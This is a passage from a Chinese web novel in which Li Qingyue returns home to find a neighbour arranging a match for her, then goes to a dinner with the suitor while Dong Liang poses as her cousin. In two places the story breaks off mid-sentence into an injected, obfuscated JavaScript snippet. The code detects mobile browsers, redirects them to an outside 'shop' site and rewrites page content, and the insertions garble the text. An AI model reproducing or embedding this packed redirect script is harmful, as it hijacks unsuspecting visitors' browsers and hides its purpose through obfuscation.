李清月笑着点点头,把箩筐递给小伙计点数,回话道:“是,方才回来,身上有些埋汰了,姐你可别见怪。” 梓嫣惊诧了好一会,立即倒了杯茶水递给她,轻声道:“这下着雨,你怎么跑山上去了,也不怕着凉,这孩子。” 李清月笑着摇摇头,一想到今时不同往日,从前自己采药回家,累的换衣裳的气力都没有,照旧得自己烧水喝,可如今有董良在家等她,她心里一点都不觉得累,反而从嗓子眼暖到了心里,从未这么满足过。 原来有人相伴,甘愿为自己点一盏灯,静候佳音,是这么温暖又珍贵的事,好似人间只得此一人,便足矣慰藉百年。 卖完草药回去后,天色已然黑透了,圆月挂在当空,是漆黑墨色的一点白昼,夜里倒是放晴了,银光无阻的散落在房舍四处,月白风清。 村里多数烛火都熄了,只有寥寥星火,村尽头谁家的灯火着随夜风飘摇不定,撑起一叶暖舟,游荡在夜色里。 李清月知道,那正是自己家的光亮,屋里应当正坐着一位温润如玉的翩翩公子,正披着衣裳坐在炉火边煮茶等自己回家。 她不禁加快了脚步,连发梢都跟着雀跃的翘着弧度,可临近了,她却忽然顿住脚步。 屋里有两人交谈声。 可此刻理应只有董良一人在家,易恒大清早便匆匆离去了,这样的夜里还有谁会到访与董良攀谈呢?再者董良几乎没有出过院子,对左邻右舍一概不知…… 李清月微微蹙眉,轻手轻脚迈进院子,方才还能侥幸以为自己是否听错了,可线下交谈的音色在寂静的夜里愈发清晰,绷紧李清月心中的弦。 她心里有些慌,只大致分辨出是一道女声与一道男声,待到她做贼一般悄悄趴在门边,将耳朵贴到两扇门中间不大的缝中,耐心去听—— 竟是张大娘与董良的声音?! 这两人有什么好谈的,就是放屁也放不到一个坑里啊! 但仔细一想,张大娘东拉西扯的功力可谓是逐年递增,有过之而无不及,随手拽住一个人就能天南海北的侃大山,虽然此人心肠不坏,十分热情,但话却只能听听就好。 若是让李清月自己猜,就算是想破头也想不到他两人在聊什么,于是只能又侧耳去听,一边不耻自己偷听,一边又急不可耐的想满足自己的好奇心。 “她表哥呀,你我说,就算你并非是那丫头的父母亲长,你也算是个长辈了,长兄如父,这事你听听也好的。”张大娘扯着腔调说。 对面的人声音带笑,正是董良,他说:“这等事情我不好决断,并非是我婚嫁,也并非我的亲生妹妹,我还没有那么大官威。” “哎呀,你听我讲嘛,这事没有丫头点头我自然是不敢拍板的,我是想着先同你知会,这是一桩美事,你也好劝劝她的。” “大娘,我不过是个远房的表哥,暂住已经是多有叨扰,不敢再开口让她因我做什么。” 李清月越听越不对劲。 远房表哥?婚嫁? 张大娘这是…… 李清月噌的一下直起身子,醍醐灌顶,紧蹙的眉头却没有松开,心里一落千丈,本想着回来能投身入温柔乡,却被一句“表哥”搅得手脚冰凉。 为何董良会是自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17074697|195234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的表哥? 她明白董良要隐藏身份,但除了表哥之外也还有那么多可以摘选的称谓,又何必冰凉凉的唤一句疏不间亲的表哥。 那一刻她近乎怀着想要质问的气愤推开房门,可真看到他那带着病气而有些脆弱的脸,李清月忽然就说不出口了。 她就那么呆愣愣立在门口,三人面面相觑了一会,才有人开口。 “哎呦丫头回来啦,快来快来,怎么弄的一身脏泥巴,又去山里啦,你看看这……” 李清月慢慢拖着脚步挪到张大娘近前,眼神却一直定在董良身上。只见那个人脸不红心不跳,还微微勾唇冲她露出一个安抚的笑。 李清月简直要气炸了,又无可奈何。 “张大娘,”她勉强扯起嘴角,任由大娘扯过她冰凉的手捂热,“这么晚了您怎么会来我这?而且……还和我表哥聊上了,都在说些什么?” 董良自然看得出其中端倪,只是垂下眼眸,默默收拾好李清月踩的几个泥脚印,又倒了杯热水放在桌上晾着。 张大娘索性不再遮掩,拉着李清月的手像八辈子没见的亲人一般,好一番说的热泪盈眶、感天动地,大致意思是—— 她想给李清月撮合一门亲事。 纵使有了先前偷听的心理准备,李清月还是一阵头疼,怎么也没想到张大娘能想起这一出来。 细细一问才知道,原是她有个远房的表侄儿,年岁比李清月大四岁,是个屡考不第的书生。家住在不远的山村,在那还有几亩农田,只可惜过了县试就自命不凡,非要舞文弄墨,瞧不上种田的,到了这个年纪该要婚配了,村里的姑娘都不稀罕娶,城里的又没人能瞧上他,家里人这才发愁。 恰巧这个书生又要进城筹备县试,来张大娘家借住几日,张大娘知道李清月尚未婚配,没怎么细想脑一热乎就上门来找了,只说先是见一面两家一块吃个酒,不合眼缘便就算了。 李清月憋着气把她的话听完了,其实她知道张大娘是心肠热的急性子,能将话说的这么婉转也是煞费苦心了,但她从来没想过成亲一回事,不愿意的事就是不愿意,再三权衡之下,正准备回绝,一旁一直安静听着的董良忽然插了一句: “清月,既然大娘耗费口舌上门说了这一场,不若你便承了这份情吧。” 李清月登时火冒三丈,这里哪有他什么时候,再者他难道不该向着自己说话吗? 李清月抬头狠狠剜了一眼董良,对方却避开没有接茬,一副道貌岸然的做派。 “表哥,你是真心想劝我吗?”她盯着董良的脸一字一句的说。叫了那么久的“之恒”,表哥这两个字叫的她口中发涩。 董良自然不再回避,抬起眼,在心中饶有兴味的欣赏着李清月硬憋着委屈的模样,嘴上轻咳几声说道:“自然是。” 李清月点点头,再也没有看他一眼。 好,既然董良真的觉得别人用心良苦,而她却是不肯领情的人,既然他觉得这些礼节更重要,那自己便去!反正只是用一顿饭,又少不了一块肉,那就如他所愿。 “好吧,表哥都发话了,”李清月拿起桌上放凉的水,一口饮尽,像做了什么决断似的,“那我也不好驳您的面子,明晚便同表哥一起去大娘家里吃酒。” 张大娘听了这话欢欢喜喜的走了,屋里的气氛瞬间冷了下来,两人相顾无言。 李清月此时已经冷静了一半,知道自己方才多半的心绪都是无理取闹,可她还是心里别扭,不能明白董良为什么不可以站在自己这边。 就好像那堵隔阂的墙又窜高了几分一般,每次她刚以为能看到头了,就又朝她泼一盆冷水。 而董良永远是在墙的上方居高临下的坐着,一脸波澜不惊的看着她。 8.第 8 章 张大娘家住在李清月那座破屋的右手边,算是邻户的邻户,中间还要再隔着一位孤寡的王婆婆。今早董良又喝了副药,身子没那么畏寒了,再加上留他一位病人在家没水没粮,不过张大娘并不讲究那些避讳,便让董良随着李清月一道来。 昨夜一事过后,董良一如既往的待她温柔体贴,所谓伸手不打笑脸人,这下李清月就算有气也不知道从何说起,怎么讲都好像是自己理亏,只能憋在心里,整个人都蔫吧了。 董良这等奸猾的狐狸自然门清她心里在想什么,他甚至要比李清月本人更为明白对方的心思,可他就是不点破,一句话也不说,当做无事发生一般顺着她的意思附和。 于是在两人一同踏上去往张大娘的家里时,都各怀心思,谁也没再提这通突如其来的荒唐事。 张大娘家与李清月家可谓云泥之别,李清月的屋子原先是没人住而荒废了的房子,而张大娘一家则在风水一说上极为讲究,上至房梁、下至院子里的鸡,都要守风水的准则,致使院子与屋内的风格天差地别——外面一片菜绿,里头一片红火,喜庆的像婚房。 各种摆件也是千奇百怪,董良随着李清月一起进屋门时,前脚刚迈过门槛,后脚还没跟上、脑门“啪”的一下就被一条不知名的穗子甩的七荤八素,一时有些藏不住火气偏头去看李清月,奈何人家个子小,一点没被打到。 “这是什么东西?”董良没好气的皱着眉。 “哦,是大娘家招财纳福的葫芦和铜钱,”李清月习以为常的走进屋,不一会里面就响起张大娘打鸣一般的嗓音,董良无奈的在原地立了一会,低低说了句“迂腐”,便木着脸跟着走进去了。 “哎呦她哥,快坐快坐,还有个菜,待一会就好,我们先说说话,熟络熟络。” 董良一进去便看见满是红火的陈设,墙壁上挂了各路神仙的画像,屋子中间摆了张长方桌,李清月和张大娘正面对坐着,还有一个约莫十岁的稚童钻在桌子底下不知道在捣鼓什么。 董良在李清月身旁落座,整了整衣摆。 李清月暗自攥紧了衣袖,装作与张大娘搭话,没拿正眼看他,张大娘则张罗着倒了热茶先端上桌,此外还有一堆的瓜果炒货,可见着实用心了。 “清月姐,”桌下的小孩悄悄钻出脑袋,伏在她腿上压低声音,“我想吃个果子。” 李清月一边不动声色的和大娘闲聊,一边若无其事的拿了颗红果子偷偷塞到桌下。 “谢谢清月姐!”小孩拿着激动的一抬头,“砰”一声磕到桌沿上,震得房子都要塌了一般,一下将张大娘震得火冒三丈。 “牛凯轩!你给我滚出来!” 小屁孩立马抓起果子就往外跑,窜的跟猴一样。 这个藏在桌下偷吃果子被抓包的小屁孩正是牛凯轩,小名三牛,张大娘的三儿子,大儿子早年在城里落户了,二女儿嫁到了别的村里,家里就剩个小的。 张大娘对她这个儿子真是恨铁不成钢,每回抓着错处便想打个皮开肉绽,又下不去手,此时正追着他满院子跑,依着张大娘的嗓门,街坊邻里都知道这事,李清月也习以为常了。 她没动桌上的茶水,探头探脑在屋里环视了一圈,除了董良外,一片男子的衣角都没有瞧见,她心里生疑问道:“大娘,您说的那位书生小哥呢?怎么不见他人?” 张大娘百忙之中还抽空冲李清月露出一个安抚的笑,放低了音量说:“就来,就来,半途非说自己穿的衣裳不够端方,硬是折回去换衣裳了,这孩子……” 李清月顺坡下驴地点了点头,没好驳张大娘的面子,实则昨晚的气焰一直没消,胸中烦闷,硬是耐着性子坐着等。 半晌之后,那位书生终于是姗姗来迟。他穿着一身月白的衣衫,手里还拿着本破书,装腔作调的走进来,躬身作揖:“诸位久等,方才出门衣摆溅上了泥,怕失了礼数,索性回去换了一身才来。” 没等人接茬,他自己直起腰,眼眸一转,落在李清月身上:“这位便是李姑娘了,真是人比花娇、小家碧玉啊。” 李清月微微颔首,客气的唤了一声:“齐公子。” 齐源便是这位书生的姓名。李清月刚与他一打照面,心里便开始吹毛求疵、挑三拣四,且先不说他舞骚弄姿换的那一身月白衣裳,他当真觉得自己风神俊朗,天仙下凡吗? 李清月微微侧头瞄了一眼坐在身边的董良,他如画的眉目像他笔下行云流水的字一般,铺开在那张白纸般的脸上。此刻他正拿着茶杯,低头启唇轻轻吹气,热气缭绕在眼睫上,熏得那人微眯起眼。 有这样谪仙一般的一张脸放在旁侧对比,其他的全部黯然失色,根本无需再比。 “你们聊,我去看看菜啊。”张大娘笑着迈出门,把三牛也扯走了。 “那我也……”董良放下杯子正准备起身,李清月眼疾手快的在桌子底下扯住了他的腰带,暗暗用力猛地将他拉回座上,压低声音道: “你是我表哥,有什么好避嫌的?” 董良挑了下眉,不轻不重的敲了一下李清月的手腕示意她松手,她这才不情不愿的饶过摇摇欲坠的腰带。 站着的齐源没注意到桌下的明争暗斗,神色自然的坐到李清月身旁,笑着开口说:“李姑娘,你可曾读过书啊?” 李清月瞥了一眼齐源,在脑子里面翻找了半天,扯出一句不知何时听董良随口说的古话:“学而不思则忘,思而不学则呆。” 这齐源应当是半个假书生,一时间竟没听出来,顺着李清月的话头头是道的夸赞了一番,在旁的董良听着两人“驴唇不对马嘴,牛头不对马尾”的信口胡诌,硬生生把笑憋回肚子里了。 用饭时,掌勺的牛叔与窜来窜去的小猴也一齐落座了,不大的方桌霎时变得拥挤起来,于是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17076947|195234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李清月明显感觉那齐源又离自己这边挪了几分,近乎要挨着她的胳膊了。 她登时有些犯恶心,对于这个只会装腔作势的酸腐书生没有半分好感,也悄悄向董良的方向挪了一些。 董良偏头看了李清月一眼,眸色说不出喜怒,刻意的侧身挪到桌角,其他几人都正在兴头上,嚷嚷着要开酒,虽然幅度小,但李清月还是当即便注意到了。 他就那么不愿亲近她吗? 哪怕有旁人要欺负她,他也要坐视不理,端起表哥疏远的架子将她推远,再美其名曰为她好吗? 李清月攥紧了筷子,强忍住鼻头的酸涩,埋头狠扒了一口饭,感觉吃进嘴里的饭菜都变成了树枝枯叶,味同嚼蜡。 “丫头呀,来口酒吧。” “哎,小丫头喝什么酒啊,你别瞎掺和了。” 张大娘刚开封了一坛自家酿的果酒,众人都少喝了一些,气氛正是沸反盈天之时,李清月看着满桌的酒菜、一家其乐融融的气氛、与屋内火红的烛灯,悲从中来,一举站起来,拿起茶杯道:“大娘,我要喝。” 董良看着她微红的眼圈,微微皱起眉,正要去拦,李清月已经一饮而尽,一滴不剩。 这杯酒她近乎是带着泄愤与不甘强逼着自己咽下的,仿佛这样就能冲淡自己的委屈,重新来过了。 “李清月。” 董良的声音微微带有斥责之意,可李清月却一口打断他。 “董良,你别管我,反正你只是我的远房表哥罢了,”她的脸顷刻就红的如山上的野果一般,身形摇晃着坐下,“酒原来是这个滋味啊。” 董良下意识伸手搀扶住她,她却忽然像花枝柳条一般,腰肢软进他怀里,将空了的酒杯抵到他唇边,掐着嗓子说:“之恒,你要不要也尝一口啊?” “胡闹。”他立即将李青月推回椅子上摆正了身子,偏过头一眼也不看他,只低头夹了口菜。 李清月顿时落寞地垂下眼眸,他知道自己又触及董良的约定了,可她就是想趁醉装不清醒,想好好问一问董良到底有没有真心在意自己。 他把董良当朋友,当无话不说的知己,可她自己有难时,董良却把她推得远远的,好像是避之不及的洪水猛兽。 到头来好像上心的一直只有自己,原来董良从来没把自己当做过挚友,只觉得是一个欠了恩情的恩人罢了。 李清月一抹袖子,擦去了眼角,不知是泪,还是方才拿不稳茶杯的酒渍。 在一旁的齐源全都看在眼里,心中狐疑,觉得这两人有些蹊跷,却又说不出来哪里不对劲,毕竟一人是表哥,一人是表妹,再怎么亲近也不算越界。 只有两个各怀心思、有意避嫌的人才知道,他们互相到底是什么关系。 只可惜一个有意疏远,只为玩弄人心,而另一个却动了真心,傻傻不自知,就这样糊里糊涂的吃完了一顿饭。